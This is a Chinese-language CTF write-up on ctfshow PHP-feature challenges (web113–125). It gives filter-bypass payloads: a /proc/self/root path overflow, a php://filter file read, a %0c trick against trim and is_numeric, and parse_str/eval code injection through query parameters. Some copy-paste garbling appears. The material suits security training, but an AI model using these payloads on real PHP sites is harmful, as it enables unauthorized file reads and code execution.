1.web113
和上题一样,/proc/self/root代表根目录,进行目录溢出,超过is_file能处理的最大长度就不认为是个文件了
payload:
compress.zlib://flag.php
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php
2.web114
发现没过滤filter
payload:
php://filter/resource=/flag.php
3.web115
string trim( string $str[, string $character_mask = " \t\n\r\0\x0B"] )
此函数返回字符串 str 去除首尾空白字符后的结果。如果不指定第二个参数,trim() 将去除这些字符:
◦ " " (ASCII 32 (0x20)),普通空格符。
◦ "\t" (ASCII 9 (0x09)),制表符。
◦ "\n" (ASCII 10 (0x0A)),换行符。
◦ "\r" (ASCII 13 (0x0D)),回车符。
◦ "\0" (ASCII 0 (0x00)),空字节符。
◦ "\x0B" (ASCII 11 (0x0B)),垂直制表符。
如何绕过is_numeric
除了数字和±.号以外还有 %09 %0a %0b %0c %0d %20
绕过trim和is_numeric
只有%0c
payload:
%0c36
4.web123
在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、[,+、点转换为下划线,而传入[之后后面的空格、[,+、点就不会被转为下划线了
$_SERVER变量
1.cli模式(命令行)下
第一个参数$_SERVER[‘argv’][0]是脚本名,其余的是传递给脚本的参数
2.web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务, S E R V E R [ ‘ a r g v ’ ] 才会有效果这时候的 _SERVER[‘argv’]才会有效果 这时候的 SERVER[‘argv’]才会有效果这时候的_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
a r g v , argv, argv,argc在web模式下不适用
对于这题来说就是$a[0]= $_SERVER[‘QUERY_STRING’]
+分割会把argv成多个部分
<?php
$a=$_SERVER['argv'];
var_dump($a);
#传入 a=1+fl0g=flag_give_me
#结果如下
array(2) { [0]=> string(3) "a=1" [1]=> string(17) "fl0g=flag_give_me" }
parse_str
parse_str
(PHP 4, PHP 5, PHP 7)
parse_str — 将字符串解析成多个变量
说明
void parse_str( string $encoded_string[, array &$result] )
如果 encoded_string 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )
<?php
$str = "first=value&arr[]=foo+bar&arr[]=baz";
// 推荐用法
parse_str($str, $output);
echo $output['first']; // value
echo $output['arr'][0]; // foo bar
?>
payload:
1.
get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
2.
CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
3.
get: $fl0g=flag_give_me;
post:CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])
5.web125
相对于上题来说,有过滤了echo等函数
payload:
get:
a=1+fl0g=flag_give_me
post:
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
php特性
php特性